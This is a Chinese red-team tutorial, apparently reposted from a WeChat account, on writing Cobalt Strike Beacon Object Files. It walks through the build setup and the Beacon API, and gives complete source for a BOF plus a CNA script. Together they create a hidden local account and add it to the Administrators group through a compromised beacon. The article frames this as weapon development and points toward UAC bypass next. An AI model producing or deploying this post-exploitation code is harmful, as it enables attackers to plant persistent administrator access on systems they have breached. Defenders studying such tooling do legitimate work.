BOF武器化开发 !
应群里某位师傅的想法,写写一些BOF的文章,今天的文章已经能够开发大部分的BOF了日后也会更新CNA脚本的编写以及踩坑记录~,并且圈内也会发一些我们写的BOF源代码,也一并分享出来:
构建环境
构建环境需要使用到BOF的模板,这里使用的是:
http://github.com/securifybv/Visual-Studio-BOF-template/releases
下载解压到VS的ProjectTemplates目录中:
C:Users你的用户名DocumentsVisual Studio 2022TemplatesProjectTemplates
接着就是平常创建新项目一样去创建,在搜索栏里面搜索Beacon就行:
第一次进去会提示找不到source.cpp文件,删除原本的源文件,重新新增一个source.c文件粘贴以下代码进去即可。或者在模板文件中将source.c文件改为source.cpp文件也行:
#include <stdio.h>#include <Windows.h>#include "beacon.h"void go(char* buff, int len){ BeaconPrintf(CALLBACK_OUTPUT, "Hello BOF");}
接着点击选项框中的生成->批生成,同时勾选上32与64的BOF生成即可。(也可以不勾选,有些代码在32位下是有报错的):
最后编译即可:
在CS中使用inline-execute source.obj执行即可:
常用内置函数
这里讲下常用的内置函数来实现输出、传参等操作,这些内置函数的定义都在beacon.h文件中
输出操作
BeaconPrintf,这个函数用于在CS控制台中输出字符串,并且支持格式化输出值,函数原型为:
void BeaconPrintf(int type, const char* fmt, ...);
其中type是输出消息的类型,一般使用的是CALLBACK_OUTPUT表示正常输出信息,CALLBACK_ERROR表示错误信息(输出的内容会标感叹号和变红色)。当然也可以先存着,之后一起输出,如下代码:
formatp buffer;BeaconFormatAlloc(&buffer, 1024);BeaconFormatPrintf(&buffer, "[+] hello %sn", data);BeaconPrintf(CALLBACK_OUTPUT, "%s", BeaconFormatToString(&buffer, NULL));BeaconFormatFree(&buffer);
传参操作
go函数是BOF的入口函数,CS在加载和执行BOF时候会去调用这个函数,当然在go函数的参数中我们也可以添加参数表示执行前要携带的数据,但是想传递数据进去可不像普通main函数那样传递,并且inline-execute操作并不可以传递参数,需要通过cna脚本来编写。
void go(char* args, int len)
我们需要定义一个解析器:
// 定义并初始化解析器datap parser;BeaconDataParse(&parser, args, len);// 提取值exePath = (char*)BeaconDataExtract(&parser, NULL);taskName = (char*)BeaconDataExtract(&parser, NULL);hours = (char*)BeaconDataExtract(&parser, NULL);
我们可以去beacon.h中看看这些函数的原型,这些函数都是提取数据有关的:
判断是否为管理员
BeaconIsAdmin函数用于判断当前线程是否是以管理员权限来运行的:
DECLSPEC_IMPORT BOOL BeaconIsAdmin();
添加用户BOF传参示例
这节主要讲讲传递参数的一些操作与简单cna的编写,所以不会讲解使用到的Windows API。BOF不能直接调用Windows API,而只能通过Cobalt Strike提供的一组函数来与操作系统进行交互。所以我们假如要使用Windows API函数的话,需要使用以下方式进行定义:
DECLSPEC_IMPORT WINBASEAPI DWORD WINAPI KERNEL32$WaitForSingleObject(HANDLE, DWORD);
其中,需要我们注意的地方就是:
-
返回值类型。 -
这个函数是哪个DLL的,比如kernel32.dll的话就写成KERNEL32$WaitForSingleObject,调用的时候也是。 -
函数的参数。
BOF代码示例
#include <windows.h>#include <lm.h>#include <stdio.h>#include "beacon.h"DECLSPEC_IMPORT void* WINAPI MSVCRT$memset(void*, int, size_t);DECLSPEC_IMPORT DWORD WINAPI NETAPI32$NetUserAdd(LPCWSTR, DWORD, LPBYTE, LPDWORD);DECLSPEC_IMPORT DWORD WINAPI NETAPI32$NetLocalGroupAddMembers(LPCWSTR, LPCWSTR, DWORD, LPBYTE, DWORD);// 用于创建用户BOOL CreateUser(const wchar_t* username, const wchar_t* password) { USER_INFO_1 ui; NET_API_STATUS nStatus; // 设置用户信息 MSVCRT$memset(&ui, 0, sizeof(USER_INFO_1)); ui.usri1_name = (LPWSTR)username; ui.usri1_password = (LPWSTR)password; ui.usri1_priv = USER_PRIV_USER; ui.usri1_flags = UF_SCRIPT; ui.usri1_home_dir = NULL; ui.usri1_comment = NULL; // 调用 NetUserAdd 创建用户 nStatus = NETAPI32$NetUserAdd(NULL, 1, (LPBYTE)&ui, NULL); if (nStatus != NERR_Success) { return FALSE; } return TRUE;}// 将用户添加到管理员组BOOL AddUserToAdministratorsGroup(const wchar_t* username) { LOCALGROUP_MEMBERS_INFO_3 info; NET_API_STATUS nStatus; // 设置用户信息 MSVCRT$memset(&info, 0, sizeof(LOCALGROUP_MEMBERS_INFO_3)); info.lgrmi3_domainandname = (LPWSTR)username; // 调用 NetLocalGroupAddMembers 将用户添加到 Administrators 组 nStatus = NETAPI32$NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&info, 1); if (nStatus != NERR_Success) { return FALSE; } return TRUE;}wchar_t* username = NULL;wchar_t* password = NULL;void go(char* args, int len) { datap parser; BeaconDataParse(&parser, args, len); username = (wchar_t*)BeaconDataExtract(&parser, NULL); password = (wchar_t*)BeaconDataExtract(&parser, NULL); if (!CreateUser(username, password)) { return -1; } if (!AddUserToAdministratorsGroup(username)) { return -1; } return;}
CNA脚本示例
script_resource(path):获取脚本资源的路径,当然不只限于bof(.obj)文件,还可以是exe、cna等等。要注意的是,脚本资源的路径要一定填写相对路径( 相对于cna文件)
openf和readb:打开文件并读取
bofpack:将参数打包成一个字节流,然后传递给BOF中的go函数,其语法格式如下:
-
i:表示一个32位整数。 -
I:表示一个64位整数。 -
d:表示一个双精度浮点数。 -
z:表示一个以null结尾的字符串。 -
Z:表示一个以null结尾的宽字符串。
相应的,使用对应的Beacon API函数以及正确的转换类型使用即可(比如上面的username = (wchar_t*)BeaconDataExtract(&parser, NULL))
beacon_inline_execute:用于在指定的Beacon中执行一个BOF,该函数接收四个参数:
-
参数一:Beacon的ID,这是一个整数,表示你想要在哪个Beacon中执行BOF。 -
参数二:BOF的内容,这是一个字节流,通常是你从BOF文件中读取的内容。 -
参数三:BOF中的函数名,这是一个字符串,表示你想要执行的函数。 -
参数四:传递给BOF函数的参数,这是一个字节流,通常是bof_pack函数创建的。
beacon_command_register("adduser", "Add a user to administrators", "usage: adduser [username]
");alias adduser{ local('$handle $data $args'); $uname = $2; $pass = $3; if ($uname eq "" or $pass eq "") { berror($1, "usage command: help adduser"); return; } # 读入bof文件 $handle = openf(script_resource("source.obj")); $data = readb($handle, -1); closef($handle); # 打包参数两个ZZ代表两个参数 $args = bof_pack($1, "ZZ", $uname, $pass); # 执行bof,"go"是BOF中的函数名,$args是传递给这个函数的参数 beacon_inline_execute($1, $data, "go", $args);}
踩坑记录
-
BOF尽量使用C语言:
使用C++编写的话可能会出现以下报错内容,这是因为C++为了支持函数重载,会对函数名进行修饰,从而导致函数的实际名称与你在代码中看到的名称不同,因此当你尝试在BOF解析某个函数时,可能会找不到它。
-
Unknown sysbol __chkstk
当你在局部变量上面开了一个很大的数组或者很大的数的时候就会有这个报错:
当你的源代码使用大量的局部变量或数组时,编译器会插入一个__chkstk调用来确保有足够的堆栈空间。而在BOF中,由于我们没有完整的C运行时环境,所以这个函数是不存在的。解决办法,减少局部变量大小,使用动态内存来分配数组大小。
-
美观输出:
这样输出是很难看的:
BeaconPrintf(CALLBACK_OUTPUT,"1");
但是如果你是用下面这种输出 ,你的输出就会好看很多了:
formatp buffer;BeaconFormatAlloc(&buffer, 1024);BeaconFormatPrintf(&buffer,"[+] Create DeleteKey-Value successfully! :)n");BeaconFormatPrintf(&buffer, "[+] Delete regedit successfully! :)n");BeaconPrintf(CALLBACK_OUTPUT, "%s", BeaconFormatToString(&buffer, NULL));BeaconFormatFree(&buffer);
这节的BOF开发就讲到这里了,学到现在能够写一些BypassUAC等等很多操作,总之还是要熟练一下也可以多看看别人写的BOF与CNA,下一节就详细讲讲CNA插件的编写吧,看看别人的选项栏是如何弄出来的。不久后也会发布我们圈子内部的CS插件:
原文始发于微信公众号(半只红队):【武器开发】| 开发你的第一个BOF
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论